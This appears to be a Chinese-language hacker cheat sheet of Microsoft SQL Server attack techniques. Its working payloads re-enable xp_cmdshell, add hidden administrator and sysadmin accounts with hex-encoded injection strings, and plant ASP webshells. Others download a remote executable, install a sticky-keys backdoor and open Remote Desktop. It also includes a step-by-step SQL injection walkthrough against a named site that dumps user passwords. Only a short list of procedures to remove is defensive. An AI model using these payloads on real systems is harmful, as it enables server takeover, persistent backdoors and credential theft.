yulin') update openquery(mailser,'select * from yulin where id=15')set disorder=555,catago=888 insert into openquery(mailser,'select disorder,catago from yulin')values(333,777) 补充: 对于用bcp导出,是没有字段名的. 用openrowset导出,需要事先建好表. 用openrowset导入,除ACCESS及EXCEL外,均不支持非本机数据导入
SQL存储过程
sql2005恢复xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 关闭:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 零、 -- 添加SA用户-- 1、exec master.dbo.sp_addlogin system; 2、exec master.dbo.sp_addlogin system,system; 3、exec master.dbo.sp_addsrvrolemember itpro,sysadmin 防注入 sa:itpro pass:itpro declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726f as varchar(4000));exec(@s); declare @c varchar(4000) set @c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726f as varchar(4000));exec(@c); declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1 防注入 sa:system pass:system declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656d as varchar(4000));exec(@s);declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1 一、 -恢复存储过程- use master exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' exec sp_dropextendedproc "xp_cmdshell" exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' exec sp_dropextendedproc 'xp_cmdshell' exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' exec sp_addextendedproc xp_dirtree,'xpstar.dll' exec sp_addextendedproc xp_enumgroups,'xplog70.dll' exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' exec sp_addextendedproc xp_loginconfig,'xplog70.dll' exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' exec sp_addextendedproc sp_OACreate,'odsole70.dll' exec sp_addextendedproc sp_OADestroy,'odsole70.dll' exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAMethod,'odsole70.dll' exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAStop,'odsole70.dll' exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' exec sp_addextendedproc xp_regread,'xpstar.dll' exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' exec sp_addextendedproc xp_regwrite,'xpstar.dll' exec sp_addextendedproc xp_availablemedia,'xpstar.dll' 恢复cmdshell防注入 declare @a varchar(255),@b varchar(255),@c varchar(255); set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63; set @b=0x78705F636D647368656C6C; set @c=0x78706C6F6737302E646C6C; exec @a @b,@c 二、 --恢复sp_addextendedproc存储过程-- create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 三、 --使用存储过程加管理方法-- 1、master.dbo.xp_cmdshell 'net user itpro gmasfm && net localgroup administrators itpro /add' 2、EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp' 3、DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add' 四、 -- 导出文件的存储过程 -- DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt' 五、 -- 读取文件的存储过程 -- declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end 六、 -----写一句话木马----- declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<%execute(request("a"))%>' ' ' 单引号为要写的内容 <%25 if request("x")<>"" then execute(request("x"))%25> 防注入写入法 declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i varchar(255),@j varchar(255); set @c=0x6D61737465722E2E73705F6F61637265617465; set @d=0x6D61737465722E2E73705F6F616D6574686F64; set @e=0x536372697074696E672E46696C6573797374656D4F626A656374; set @f=0x4372656174655465787446696C65; set @g=0x433A5C496E65747075625C73797374656D2E617370; set @h=0x74727565; set @i=0x7772697465; set @j=0x3C256576616C20726571756573742822582229253E; exec @c @e,@a output; exec @d @a,@f,@b output,@g,@h; exec @d @b,@i,null,@j 七、 -----写一句话木马----- declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;-- and% 1=1 在上面一样;exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''<%25execute(request("a"))%25>''%20';-- 八、 ---SA沙盒模式提权----- 1、exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;-- 2、Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user itpro gmasfm /add")'); 九、 -----另类SA提权----- 2、declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 1、declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; DECLARE @o int DECLARE @z int EXEC sp_OACreate 'Shell.Users',@o OUT EXEC sp_OAMethod @o, 'Create', @z OUT, 'test' EXEC sp_OASetProperty @z, 'setting', 3 , 'AccountType' EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', '' 十、 --导出注册表-- 1、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)-- 2、delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port' 十一、 ---下载程序----- 1、declare @b varbinary(8000),@hr int,@http int,@down int exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[[url=http://192.168.1.6:800/wwwroot.rar]链接标记http://192.168.1.6:800/wwwroot.rar[/url]],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod @down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:/a.exe],1 ;-- and 1=1 十二、 -Log备份WebShell- alter database master set RECOVERY FULL create table cmd (a image)-- backup log master to disk = 'c:\cmd' with init insert into cmd (a) values ('<%eval(request("a")):response.end%>')-- backup log master to disk = 'C:\Inetpub\wwwroot\ri3.asp'-- drop table cmd-- 2\ use mir alter database mir set RECOVERY FULL -- create table cmd8 (a image)-- backup log mir to disk = 'c:\cmd8' with init -- insert into cmd8 (a) values ('<%eval(request("a")):response.end%>')-- backup log mir to disk = 'c:\backup.asp'-- drop table cmd8-- alter database mir set RECOVERY SIMPLE -- 3\ create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])-- declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x6C0061006F007A0068006F007500/**/backup/**/log/**/@a/**/to/**/disk/**/=/**/@s/**/with/**/init,no_truncate-- insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C256576616C28726571756573742822612229293A726573706F6E73652E656E64253E)-- select/**/@s=0x63003a005c0031002e00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate-- Drop/**/table/**/[shit_tmp]-- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十三、 ------------------------------- --创建sp_readtextfile存储过程-- ------------------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Create proc sp_readTextFile @filename sysname as begin set nocount on Create table #tempfile (line varchar(8000)) exec ('bulk insert #tempfile from "' + @filename + '"') select * from #tempfile drop table #tempfile End go xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十四、开3389 =================================================================== declare @a varchar(255),@b varchar(255); set @a=0x6D61737465722E64626F2E78705F636D647368656C6C; set @b=0x636D64202F6320776D6963205244544F47474C45205748455245205365727665724E616D653D2725434F4D50555445524E414D4525272063616C6C20536574416C6C6F775453436F6E6E656374696F6E732031; exec @a @b =================================================================== 我记得2003的web目录是写在C:\WINDOWS\system32\inetsrv\MetaBase.xml ----------------- ---读取文件内容-- ----------------- exec sp_readTextFile 'c:\boot.ini' xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe' ----------------------- ---清除MsSql日志------- ----------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx set nocount on declare @logicalfilename sysname, @maxminutes int, @newsize int xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ---------------------- --停掉或激活某个服务-- ---------------------- exec master..xp_servicecontrol 'stop','sharedaccess' exec master..xp_servicecontrol 'start','sharedaccess' -------------------- --列出驱动器的名称-- -------------------- EXEC [master].[dbo].[xp_availablemedia] ---------------------------------- --列出指定目录的所有下一级子目录-- ---------------------------------- EXEC [master].[dbo].[xp_subdirs] 'c:\windows' ------------------------------ --列出当前错误日志的具体内容-- ------------------------------ EXEC [master].[dbo].[xp_readerrorlog] ---------------------- --列出当前计算机名称-- ---------------------- execute master..xp_getnetname -------------------------------- -列出当前计算机的驱动器可用空间- -------------------------------- execute master..xp_fixeddrives ======================== ==列出服务器所有本地组== ======================== execute master..xp_enumgroups ====================== ==获取MS SQL的版本号== ====================== execute master..sp_msgetversion ========================================= ==参数说明:目录名,目录深度,是否显示文件== ========================================= execute master..xp_dirtree 'c:' execute master..xp_dirtree 'c:',1 execute master..xp_dirtree 'c:',1,1 ========================================= ==列出服务器上安装的所有OLEDB提供的程序== ========================================= execute master..xp_enum_oledb_providers ========================= ==列出服务器上配置的DNS== ========================= execute master..xp_enumdsn 删除存储过程 drop PROCEDURE sp_addextendedproc ----------------------- --删除sql危险存储过程-- ----------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx DROP PROCEDURE sp_makewebtask exec master..sp_dropextendedproc xp_cmdshell exec master..sp_dropextendedproc xp_dirtree exec master..sp_dropextendedproc xp_fileexist exec master..sp_dropextendedproc xp_terminate_process exec master..sp_dropextendedproc sp_oamethod exec master..sp_dropextendedproc sp_oacreate exec master..sp_dropextendedproc xp_regaddmultistring exec master..sp_dropextendedproc xp_regdeletekey exec master..sp_dropextendedproc xp_regdeletevalue exec master..sp_dropextendedproc xp_regenumkeys exec master..sp_dropextendedproc xp_regenumvalues exec master..sp_dropextendedproc sp_add_job exec master..sp_dropextendedproc sp_addtask exec master..sp_dropextendedproc xp_regread exec master..sp_dropextendedproc xp_regwrite exec master..sp_dropextendedproc xp_readwebtask exec master..sp_dropextendedproc xp_makewebtask exec master..sp_dropextendedproc xp_regremovemultistring exec master..sp_dropextendedproc sp_OACreate DROP PROCEDURE sp_addextendedproc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xp_cmdshell新的恢复办法 扩展储存过程被删除以后可以有很简单的办法恢复: 删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 恢复 dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在 删除扩展存储过过程xp_cmdshell的语句: exec sp_dropextendedproc 'xp_cmdshell' 恢复cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 恢复xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 否则上传xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' 堵上cmdshell的sql语句 sp_dropextendedproc "xp_cmdshell 读3389端口 regedit /e port.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 然后 type port.reg | find "PortNumber" sql 语句 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' declare @s varchar(4000) set @s=cast(0x65786563206D61737465722E2E78705F726567726561642027484B45595F4C4F43414C5F4D414348494E45272C2753595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D546370272C27506F72744E756D62657227 as varchar(4000));exec(@s); -- 开启2003的终端(sa) xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections','REG_DWORD','0' exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
SQL构造having语句暴字段
一、获得建立用户的表的名字和字段的名字;使用select语法的having子句。 ''having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_id'' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 /football/reguser/check.asp,行26 成果:知道了表的名字reguser和第一个字段的名字reguser.reg_id。 二、通过字段放到group by子句找到字段名。 1、 ''group by reguser.reg_id having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_name'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_name字段 2、 ''group by reguser.reg_id,reguser.reg_name having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_password'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_password字段 3、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_relname'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_relname字段 4、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_regtime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_regtime字段 5、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_findme'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_findme字段 6、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_city'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_city字段 7、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_qq'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_qq字段 8、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_icq'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_icq字段 9、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_msn'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_msn字段 10、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_phone'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_phone字段 11、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_class'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_class字段 12、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_money'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_money字段 13、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_regip'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_regip字段 14、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_Estar'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_Estar字段 15、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_Eend'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_Eend字段 16、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_changeuser'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_changeuser字段 17、 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_changetime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_changetime字段 18 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_logintime'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_logintime字段 19 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime having 1=1-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 列 ''reguser.reg_online'' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 /football/reguser/check.asp,行26 成果:得到了reguser.reg_online字段 20 ''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime,reguser.reg_online having 1=1-- 返回结果: 出现信息提示框;你还不是会员请注册 到这里一个表猜完。 三、确定列的类型。通过使用类型转化来实现:利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。 1、 ''union select sum(reguser.reg_name) from reguser-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e07'' sum or average aggregate 运算不能以 varchar 数据类型作为参数。 /football/reguser/check.asp,行26 成果:reguser.reg_name字段是数据类型varchar。 2、 ''union select sum(reguser.reg_id) from reguser-- 返回结果: Microsoft OLE DB Provider for SQL Server 错误 ''80040e14'' 包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。 /football/reguser/check.asp,行26 四、insert查询: '';insert into reguser values(666,''attacker'',''foobar'')-- 五、 ''union select from reguser where reguser.reg_name=''admin''-- '';select from reguser where reguser.reg_name=''admin''-- '';updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''-- ''union updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''-- 六、从reguser表中读取用户名: ''union select min(reguser.reg_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''a''-- 这句选择users表中username大于''a''中的最小值,并试图把它转化成一个整型数字: 收集密码: ''union select reguser.reg_password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''admin''-- ''union select password,1,1,1 from users where username=''admin''-- 13535701998 创建了一个foo表,里面只有一个单独的列''ret'',里面存放着得到的用户名和密码的字符串 '';begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+reguser.reg_name+''/''+reguser.reg_password from reguser where reguser.reg_name>@ret select @ret as 1866574 into 1866574 end-- ''union select ret,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from foo-- Microsoft OLE DB Provider for SQL Server 错误 ''80040e07'' 将 varchar 值 '': 383838/989898 123456/234567 korea007/154085 风681168/13535701998 kyo327/woaini denglong/247986965'' 转换为数据类型为 int 的列时发生语法错误。 /football/reguser/check.asp,行26 '';drop table foo-- admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''-- =-= 加帐号 =-= '';Exec master..xp_cmdshell ''net user''-- '';Exec master..xp_cmdshell ''net user jiaoniang$ 1866574 /add''-- '';Exec master..xp_cmdshell ''net localGroup Administrators jiaoniang$ /add''-- '';exec master..sp_addlogin jiaoniang$,1866574-- '';exec master..sp_addsrvrolemember jiaoniang$,sysadmin-- '';exec xp_regread HKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'',''nullsessionshares''-- =-= 开服务 =-= '';Exec master..xp_cmdshell ''net stat telnet''-- '';Exec master..xp_cmdshell ''net stat server''-- =-= 开3389 =-= '';Exec master..xp_cmdshell "echo [Components] > c:\1866574"-- //在c盘根目录建写入一个文件 '';Exec master..xp_cmdshell "echo TsEnable = on >> c:\1866574"-- //追加写入 '';Exec master..xp_cmdshell "sysocmgr /i:c:\windows\inf\sysoc.inf /u:c:\1866574 /q"-- //开3389,成功的话过会肉机会重启!!
sysobjects表无select权限时暴表
所有的表名都只存在了sysobjects表里,所以我们无法从别的地方得到表名。 但是,大家有没注意过sql server提供的object_name函数呢? 它与object_id函数是相对应的,object_id会返回指定对象在数据库中的id值。 而object_name会返回指定ID所对应的数据库对象名,对于表来说自然就是表名了。 好了,现在只要得到所有的用户表的ID就可以得到表名了, 表的ID在很多地方都会存储,比如syscolumns表, 我们只要从syscolumns表里面取得表的ID,再利用object_name就可以得到表名了。 下面是测试代码: declare @id int select @id = 1 declare @sql varchar(100) while @id <= 200 begin select @sql = 'create table test'+ltrim(@id)+'(id int)' exec(@sql) select @id = @id +1 end select distinct(object_name(id)) from syscolumns where object_name(id) not in('sysobjects','sysindexes','syscolumns','systypes', 'syscomments','sysfiles1','syspermissions','sysusers','sysproperties','sysdepends','sysreferences', 'sysfulltextcatalogs','sysindexkeys','sysforeignkeys','sysmembers','sysprotects', 'sysfulltextnotify','sysfiles','sysfilegroups','dt_addtosourcecontrol','dt_addtosourcecontrol_u', 'dt_adduserobject_vcs','dt_checkinobject','dt_checkinobject_u','dt_checkoutobject','dt_checkoutobject_u', 